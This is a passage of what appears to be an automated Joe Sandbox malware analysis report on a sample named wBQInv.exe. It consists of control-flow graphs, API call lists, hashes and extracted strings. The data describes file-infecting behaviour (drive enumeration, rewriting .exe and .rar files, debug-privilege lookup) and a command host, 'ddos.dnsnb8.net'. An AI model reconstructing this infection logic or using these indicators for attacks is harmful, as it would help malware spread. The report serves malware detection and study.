                                      control_flow_graph 229 416076-416079 230 4160e0-4160eb 229->230 231 41607b-416080 229->231 232 4160ee-4160f4 230->232 233 416082-416085 231->233 234 4160f7-4160f8 231->234 235 4160f6 232->235 233->235 238 416087 233->238 236 4160fa-4160fc call 4166c8 234->236 237 4160fe-416106 234->237 235->234 236->237 240 416155-416189 VirtualFree 237->240 241 416108-41611d 237->241 238->232 242 416089-416095 238->242 247 41618c-416192 240->247 244 41611f-416121 241->244 245 4160a1-4160aa 242->245 246 416097-41609f 242->246 248 416151-416154 244->248 249 416123 244->249 250 4160b0-4160c1 VirtualAlloc 245->250 251 4161ba-4161c8 245->251 246->245 252 4160c7-4160cf 247->252 253 416198-4161b0 VirtualFree 247->253 248->240 249->248 256 416125-416128 249->256 250->252 254 416243-416251 251->254 255 4161ca-4161d7 251->255 252->247 257 4160d5-4160df VirtualAlloc 252->257 253->251 260 4161b2-4161b4 253->260 258 416253 254->258 259 416264-41626f 254->259 261 4161dd-4161e0 255->261 262 416134-41613b 256->262 263 41612a-41612e 256->263 257->230 265 416255-416258 258->265 266 416271-416276 259->266 260->251 261->254 267 4161e2-4161f2 261->267 269 416130-416132 262->269 270 41613d-41614f 262->270 263->262 263->269 265->259 271 41625a-416262 265->271 272 416389-4163b1 VirtualProtect 266->272 273 41627c-416289 266->273 274 4161f5-4161fe 267->274 269->244 270->244 271->265 275 4163b7-4163ba 272->275 287 416292-416298 273->287 288 41628b 273->288 276 416200-416203 274->276 277 41620c-416219 274->277 278 4163fc-4163ff VirtualProtect 275->278 279 4163bc-4163c2 275->279 282 416205-416208 276->282 283 41621b-416228 276->283 280 416238-41623f 277->280 286 416400-416416 278->286 279->279 285 4163c4 279->285 280->274 284 416241 280->284 289 41622a-416236 282->289 290 41620a 282->290 283->280 284->261 285->278 292 4163c6-4163cf 285->292 293 416420-416425 286->293 294 416418-41641d 286->294 291 4162a2-4162ac 287->291 288->287 289->280 290->280 295 4162b1-4162c8 291->295 296 4162ae 291->296 297 4163d1 292->297 298 4163d4-4163d8 292->298 299 416373-416384 295->299 300 4162ce-4162d4 295->300 296->295 297->298 301 4163da 298->301 302 4163dd-4163e1 298->302 299->266 303 4162d6-4162d9 300->303 304 4162da-4162f1 300->304 301->302 305 4163e3 302->305 306 4163e7-4163fa VirtualProtect 302->306 303->304 308 4162f3-4162f9 304->308 309 416365-41636e 304->309 305->306 306->275 306->278 310 416314-416326 308->310 311 4162fb-41630f 308->311 309->291 313 416328-41634a 310->313 314 41634c-416360 310->314 312 416426-4164a9 311->312 323 416519-41651c 312->323 324 4164ab-4164c0 312->324 313->309 314->312 325 416583-416587 323->325 326 41651d-41651e 323->326 330 4164c2 324->330 331 416535-416537 324->331 328 416588-41658b 325->328 329 416522-416533 326->329 334 4165a1-4165a3 328->334 335 41658d-41658f 328->335 329->331 332 4164c5-4164cd 330->332 333 4164f8 330->333 336 416539 331->336 337 41659a 331->337 340 416542-416545 332->340 341 4164cf-4164d4 332->341 343 4164fa-4164fe 333->343 344 41656c-41656f 333->344 345 416591-416593 335->345 338 4165b4 336->338 339 41653b-416541 336->339 342 41659b-41659d 337->342 350 4165be-4165db 338->350 339->340 346 41654d-416550 340->346 347 416517-416518 341->347 348 4164d6-4164d9 341->348 342->345 349 41659f 342->349 351 416500 343->351 352 416572 343->352 344->352 345->342 353 416595 345->353 346->350 354 416552-416556 346->354 347->323 348->346 355 4164db-4164f5 348->355 349->328 361 4165dd-4165f6 350->361 351->329 357 416502 351->357 358 416573-416576 352->358 353->337 359 416578-41657a 354->359 360 416558-416569 354->360 355->333 357->358 362 416504-416513 357->362 358->359 359->361 364 41657c 359->364 360->344 363 4165f7-416608 361->363 362->331 365 416515 362->365 364->363 366 41657e-41657f 364->366 365->347 366->325
                                      APIs
                                      • VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 004160BE
                                      • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 004160DF
                                      • VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00416189
                                      • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 004161A5
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: Virtual$AllocFree
                                      • String ID:
                                      • API String ID: 2087232378-0
                                      • Opcode ID: 8a9155657352a919ad8488e5b4c97291ef61153edd4bb5a45cc4696ec67df56b
                                      • Instruction ID: 67c4ee80f77ddba12fbae5a91f5cdbea08143e573e56fd6e738aa6b9c0039369
                                      • Opcode Fuzzy Hash: 8a9155657352a919ad8488e5b4c97291ef61153edd4bb5a45cc4696ec67df56b
                                      • Instruction Fuzzy Hash: 4A1234725087849FDB328F64CC45BEA3BB5EF02310F1A459EDC898B292D678E981C759
                                      Function 00412B8C Relevance: 10.6, APIs: 7, Instructions: 74threadstringCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 367 412b8c-412bc6 memset GetLogicalDriveStringsA 368 412c09-412c28 WaitForMultipleObjects 367->368 369 412bc8-412bcc 367->369 370 412c2a-412c3a CreateThread 368->370 371 412c3c-412c45 368->371 372 412bfa-412c07 lstrlen 369->372 373 412bce-412bd0 369->373 370->371 372->368 372->369 373->372 374 412bd2-412bdc GetDriveTypeA 373->374 374->372 375 412bde-412be1 374->375 375->372 376 412be3-412bf6 CreateThread 375->376 376->372
                                      APIs
                                      • memset.MSVCRT ref: 00412BA6
                                      • GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00412BB4
                                      • GetDriveTypeA.KERNEL32(?), ref: 00412BD3
                                      • CreateThread.KERNEL32(00000000,00000000,Function_00002B7D,?,00000000,00000000), ref: 00412BEE
                                      • lstrlen.KERNEL32(?), ref: 00412BFB
                                      • WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00412C16
                                      • CreateThread.KERNEL32(00000000,00000000,00412845,00000000,00000000,00000000), ref: 00412C3A
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
                                      • String ID:
                                      • API String ID: 1073171358-0
                                      • Opcode ID: edad61b0caa8d7f349f952702dd9626ce0f59bd2c2bfb37050a4513bb284230a
                                      • Instruction ID: 9ce79bb5cad39ab2a50d9f5fd7041585179de4caa6cd54e220ba2bdd95d76ba4
                                      • Opcode Fuzzy Hash: edad61b0caa8d7f349f952702dd9626ce0f59bd2c2bfb37050a4513bb284230a
                                      • Instruction Fuzzy Hash: 2121E7B180024CAFEB20DF64AD84EEF7FADFB48345B14012AF952D2151D7789D56CB68
                                      Function 00411E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 0 411e6e-411e95 call 412d60 3 411e97 call 411d8a 0->3 4 411e9c-411eaa call 411df6 0->4 3->4 8 411eb0-411ed9 SetFileAttributesA CreateFileA 4->8 9 412332 4->9 8->9 11 411edf-411f28 call 411915 SetFilePointer CreateFileMappingA MapViewOfFile 8->11 10 412338-41233b 9->10 12 412346-412349 10->12 13 41233d-412340 UnmapViewOfFile 10->13 11->9 18 411f2e-411f39 11->18 16 412350-412354 12->16 17 41234b-41234e FindCloseChangeNotification 12->17 13->12 19 412391-41239a call 412d9b 16->19 20 412356-41235b FindCloseChangeNotification 16->20 17->16 18->9 21 411f3f-411f56 18->21 20->19 21->9 23 411f5c-411f64 21->23 23->9 25 411f6a-411f70 23->25 25->9 26 411f76-411f87 call 411c81 25->26 26->9 29 411f8d-411fa7 call 41185b call 411c81 26->29 29->9 34 411fad-411fb4 29->34 35 412024-412045 34->35 36 411fb6-411fc5 call 411af9 34->36 35->9 37 41204b-41204e 35->37 36->35 42 411fc7-411fd2 36->42 40 412070-4120f4 call 411af9 * 2 call 411c68 * 2 memset * 2 37->40 41 412050-412053 37->41 62 4120f5-4120fe 40->62 44 412056-41205a 41->44 42->9 45 411fd8-411fe7 42->45 44->40 47 41205c-412061 44->47 48 411fe9-411fec 45->48 49 411fef-412006 call 411af9 45->49 47->9 51 412067-41206e 47->51 48->49 57 412013-41201e FlushViewOfFile 49->57 58 412008-41200e call 411c68 49->58 51->44 57->35 58->57 63 412130-412139 62->63 64 412100-412114 62->64 67 41213c-412142 63->67 65 412116-41212a 64->65 66 41212d-41212e 64->66 65->66 66->62 68 412144-412150 67->68 69 41215c 67->69 70 412152-412154 68->70 71 412157-41215a 68->71 72 41215f-412162 69->72 70->71 71->67 73 412181-412184 72->73 74 412164-412171 72->74 77 412186 73->77 78 41218d-4121ba call 411c68 73->78 75 412177-41217e 74->75 76 41232a-41232d 74->76 75->73 76->72 77->78 81 4121d3-41220b call 411c81 call 411c68 78->81 82 4121bc-4121d0 call 411c68 78->82 89 41221b-41221e 81->89 90 41220d-412218 call 411c68 81->90 82->81 92 412220-412223 89->92 93 412226-412328 memcpy UnmapViewOfFile FindCloseChangeNotification call 411b8a call 41185b SetFilePointer SetEndOfFile SetFilePointer WriteFile * 2 call 411915 FindCloseChangeNotification 89->93 90->89 92->93 93->10
                                      APIs
                                      • SetFileAttributesA.KERNEL32(?,00000080,?,004132B0,00000164,00412986,?), ref: 00411EB9
                                      • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00411ECD
                                      • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00411EF3
                                      • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00411F07
                                      • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000400), ref: 00411F1D
                                      • FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 0041201E
                                      • memset.MSVCRT ref: 004120D8
                                      • memset.MSVCRT ref: 004120EA
                                      • memcpy.MSVCRT ref: 0041222D
                                      • UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00412238
                                      • FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0041224A
                                      • SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 004122C6
                                      • SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 004122CB
                                      • SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 004122DD
                                      • WriteFile.KERNEL32(000000FF,00414008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 004122F7
                                      • WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0041230D
                                      • FindCloseChangeNotification.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00412322
                                      • UnmapViewOfFile.KERNEL32(?,?,004132B0,00000164,00412986,?), ref: 00412340
                                      • FindCloseChangeNotification.KERNEL32(?,?,004132B0,00000164,00412986,?), ref: 0041234E
                                      • FindCloseChangeNotification.KERNEL32(000000FF,?,004132B0,00000164,00412986,?), ref: 00412359
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$ChangeCloseFindNotificationView$Pointer$CreateUnmapWritememset$AttributesFlushMappingmemcpy
                                      • String ID: .@A$5@A$<@A$C@A$m@A
                                      • API String ID: 386175886-2280517433
                                      • Opcode ID: fe2f7f3b10bee2940db319785a189a15b09de772f52e50559edfd7625595ded3
                                      • Instruction ID: 47df25074b51734a2509027bd64129537b32f48ee0ad92fdead73f74cbe36795
                                      • Opcode Fuzzy Hash: fe2f7f3b10bee2940db319785a189a15b09de772f52e50559edfd7625595ded3
                                      • Instruction Fuzzy Hash: 0FF15A71900209EFCB20DFA4DD84AEEBBB5FF08314F10852AE519A7661D778AD91CF58
                                      Function 00411973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144filesleepmemoryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 117 411973-41199a PathFileExistsA 118 4119a0-4119aa 117->118 119 411ac7-411acc 117->119 120 4119af-4119c2 CreateFileA 118->120 121 411ad0-411ad5 119->121 122 411ace 119->122 123 4119c4-4119d3 Sleep 120->123 124 411a28-411a36 GetFileSize 120->124 125 411af0-411af6 121->125 126 411ad7-411ad9 121->126 122->121 123->120 127 4119d5-411a0b call 41185b wsprintfA CopyFileA 123->127 128 411a87-411a8b 124->128 129 411a38-411a3b 124->129 126->125 127->124 143 411a0d-411a26 CreateFileA 127->143 130 411a96-411a9a 128->130 131 411a8d-411a90 FindCloseChangeNotification 128->131 129->128 133 411a3d-411a51 VirtualAlloc 129->133 134 411aad-411ab1 130->134 135 411a9c 130->135 131->130 133->128 137 411a53-411a57 133->137 141 411ab3-411ab6 134->141 142 411adb-411ae0 134->142 140 411aa0-411aa7 DeleteFileA 135->140 138 411a80 137->138 139 411a59-411a6d ReadFile 137->139 138->128 139->128 144 411a6f-411a7e 139->144 140->134 141->119 147 411ab8-411ac1 VirtualFree 141->147 145 411ae2-411ae5 142->145 146 411ae7-411aec 142->146 143->124 148 411a9e 143->148 144->138 144->139 145->146 146->125 149 411aee 146->149 147->119 148->140 149->125
                                      APIs
                                      • PathFileExistsA.SHLWAPI(\NA`NA,00000000,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 00411992
                                      • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004119BA
                                      • Sleep.KERNEL32(00000064), ref: 004119C6
                                      • wsprintfA.USER32 ref: 004119EC
                                      • CopyFileA.KERNEL32(?,?,00000000), ref: 00411A00
                                      • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00411A1E
                                      • GetFileSize.KERNEL32(?,00000000), ref: 00411A2C
                                      • VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00411A46
                                      • ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00411A65
                                      • FindCloseChangeNotification.KERNEL32(000000FF), ref: 00411A90
                                      • DeleteFileA.KERNEL32(?), ref: 00411AA7
                                      • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00411AC1
                                      Strings
                                      • %s%.8X.data, xrefs: 004119E6
                                      • C:\Users\user~1\AppData\Local\Temp\, xrefs: 004119DB
                                      • C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, xrefs: 0041197C
                                      • \NA`NA, xrefs: 00411980
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
                                      • String ID: %s%.8X.data$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\wBQInv.exe$\NA`NA
                                      • API String ID: 2523042076-3665281126
                                      • Opcode ID: 38b0636aad7a6ff38b160c3875b2c72c5aeb7bd588097f70eae2b6515cc3eaf5
                                      • Instruction ID: 32199cd2c5dd094376b72592fece7f0f8fcbf1b1e54368674ec774d16272dd8e
                                      • Opcode Fuzzy Hash: 38b0636aad7a6ff38b160c3875b2c72c5aeb7bd588097f70eae2b6515cc3eaf5
                                      • Instruction Fuzzy Hash: 49516E71901219EFCF109F98CC84AEEBFB8EF09395F10456AF615E22A0C3749E80CB58
                                      Function 004128B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100stringCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 150 4128b8-4128ff memset wsprintfA 151 412905-41290d 150->151 152 4129db-4129df 150->152 151->152 153 412913-412919 151->153 154 412956-412965 strrchr 153->154 155 41291b-41294c memset wsprintfA call 4129e2 153->155 154->152 157 412967-412978 lstrcmpiA 154->157 158 412951 155->158 159 412988-412992 lstrcmpiA 157->159 160 41297a-412981 call 411e6e 157->160 158->152 159->152 162 412994-41299b 159->162 163 412986 160->163 164 4129ad-4129c9 strstr 162->164 165 41299d-4129a3 162->165 163->152 167 4129d3-4129d6 call 412692 164->167 168 4129cb-4129d1 call 41239d 164->168 165->164 166 4129a5-4129a7 lstrcpy 165->166 166->164 167->152 168->152
                                      APIs
                                      • memset.MSVCRT ref: 004128D3
                                      • wsprintfA.USER32 ref: 004128F7
                                      • memset.MSVCRT ref: 00412925
                                      • wsprintfA.USER32 ref: 00412940
                                        • Part of subcall function 004129E2: memset.MSVCRT ref: 00412A02
                                        • Part of subcall function 004129E2: wsprintfA.USER32 ref: 00412A1A
                                        • Part of subcall function 004129E2: memset.MSVCRT ref: 00412A44
                                        • Part of subcall function 004129E2: lstrlen.KERNEL32(?), ref: 00412A54
                                        • Part of subcall function 004129E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00412A6C
                                        • Part of subcall function 004129E2: strrchr.MSVCRT ref: 00412A7C
                                        • Part of subcall function 004129E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00412A9F
                                        • Part of subcall function 004129E2: lstrlen.KERNEL32(Documents and Settings), ref: 00412AAE
                                        • Part of subcall function 004129E2: memset.MSVCRT ref: 00412AC6
                                        • Part of subcall function 004129E2: memset.MSVCRT ref: 00412ADA
                                        • Part of subcall function 004129E2: FindFirstFileA.KERNEL32(?,?), ref: 00412AEF
                                        • Part of subcall function 004129E2: memset.MSVCRT ref: 00412B13
                                      • strrchr.MSVCRT ref: 00412959
                                      • lstrcmpiA.KERNEL32(00000001,exe), ref: 00412974
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
                                      • String ID: %s%s$%s\$C:\Users\user~1\AppData\Local\Temp\$exe$rar
                                      • API String ID: 3004273771-4092107658
                                      • Opcode ID: 5ec300bad49015251a1684f35da4e0fa824c6aba40f3a84c20b29a1eb3e137b9
                                      • Instruction ID: 76c266d345d9b5278814fb64755027f4e8d230eaf92991ff4800706fa6041759
                                      • Opcode Fuzzy Hash: 5ec300bad49015251a1684f35da4e0fa824c6aba40f3a84c20b29a1eb3e137b9
                                      • Instruction Fuzzy Hash: 2431C7B1A4031D7BDB20AB69DD85FCB3BAC9F14315F140467F545E2180E6FC9AD48BA8
                                      Function 00411638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70stringsynchronizationthreadCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\,?,00000005,00000000), ref: 0041164F
                                      • GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 0041165B
                                      • GetModuleFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,00000104), ref: 0041166E
                                      • CreateThread.KERNEL32(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 004116AC
                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 004116BD
                                        • Part of subcall function 0041139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 004113BC
                                        • Part of subcall function 0041139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004113DA
                                        • Part of subcall function 0041139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00411448
                                      • lstrcpy.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 004116E5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
                                      • String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\wBQInv.exe$C:\Windows\system32$Documents and Settings
                                      • API String ID: 123563730-4288692985
                                      • Opcode ID: 2fa960a38ad6c37d6b358197b040aff7bf545f8c11e46d251f7bd997314cdd8d
                                      • Instruction ID: 09e286d8bd6f99c9e19688c274bba026397f7071e9cd3e4c6df632212dc28b5c
                                      • Opcode Fuzzy Hash: 2fa960a38ad6c37d6b358197b040aff7bf545f8c11e46d251f7bd997314cdd8d
                                      • Instruction Fuzzy Hash: CC11D371540214BBCF206BA1AD49FDB3EADEB4A366F108036F30D911B4D67989C0C7AE
                                      Function 00411000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 205 411000-411023 CreateFileA 206 411092-411096 205->206 207 411025-411055 GetFileSize CreateFileMappingA MapViewOfFile 205->207 208 411057-41105f 207->208 209 41107b-411085 207->209 210 411061-41106e call 4117d0 208->210 211 411074-411075 UnmapViewOfFile 208->211 212 411087-41108b CloseHandle 209->212 213 41108d-411091 CloseHandle 209->213 210->211 211->209 212->213 213->206
                                      APIs
                                      • CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HGA,http://%s:%d/%s/%s,004110E8,?), ref: 00411018
                                      • GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75A38400), ref: 00411029
                                      • CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00411038
                                      • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000000), ref: 0041104B
                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 00411075
                                      • CloseHandle.KERNEL32(?), ref: 0041108B
                                      • CloseHandle.KERNEL32(00000000), ref: 0041108E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$CloseCreateHandleView$MappingSizeUnmap
                                      • String ID: HGA$ddos.dnsnb8.net$http://%s:%d/%s/%s
                                      • API String ID: 1223616889-3236383764
                                      • Opcode ID: c1dd2214b4f4e237fbd6641091e301c1759e6eb35ab533f488bf2537d68faf7e
                                      • Instruction ID: c86f22ad798ad6544c41c2e33e15544ee18bdb4d2cb8c3960fe2b1b3a4ea1106
                                      • Opcode Fuzzy Hash: c1dd2214b4f4e237fbd6641091e301c1759e6eb35ab533f488bf2537d68faf7e
                                      • Instruction Fuzzy Hash: 7A01847150025CBFE7305F609C88EABBFECDB4879AF01453AF345A25A0D6745E848B68
                                      Function 00412C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 377 412c48-412c75 memset call 411973 380 412cb2-412cb9 377->380 381 412c77-412c7f 377->381 384 412cc8-412ccc 380->384 385 412cbb-412cc2 VirtualFree 380->385 382 412c81-412c8b 381->382 383 412c8f-412cac CreateThread WaitForMultipleObjects 381->383 382->383 383->380 385->384
                                      APIs
                                      • memset.MSVCRT ref: 00412C57
                                        • Part of subcall function 00411973: PathFileExistsA.SHLWAPI(\NA`NA,00000000,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 00411992
                                        • Part of subcall function 00411973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004119BA
                                        • Part of subcall function 00411973: Sleep.KERNEL32(00000064), ref: 004119C6
                                        • Part of subcall function 00411973: wsprintfA.USER32 ref: 004119EC
                                        • Part of subcall function 00411973: CopyFileA.KERNEL32(?,?,00000000), ref: 00411A00
                                        • Part of subcall function 00411973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00411A1E
                                        • Part of subcall function 00411973: GetFileSize.KERNEL32(?,00000000), ref: 00411A2C
                                        • Part of subcall function 00411973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00411A46
                                        • Part of subcall function 00411973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00411A65
                                      • CreateThread.KERNEL32(00000000,00000000,00412B8C,00000000,00000000,00000000), ref: 00412C99
                                      • WaitForMultipleObjects.KERNEL32(00000001,004116BA,00000001,000000FF,?,004116BA,00000000), ref: 00412CAC
                                      • VirtualFree.KERNEL32(00DB0000,00000000,00008000,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,00414E5C,00414E60,?,004116BA,00000000), ref: 00412CC2
                                      Strings
                                      • C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, xrefs: 00412C69
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
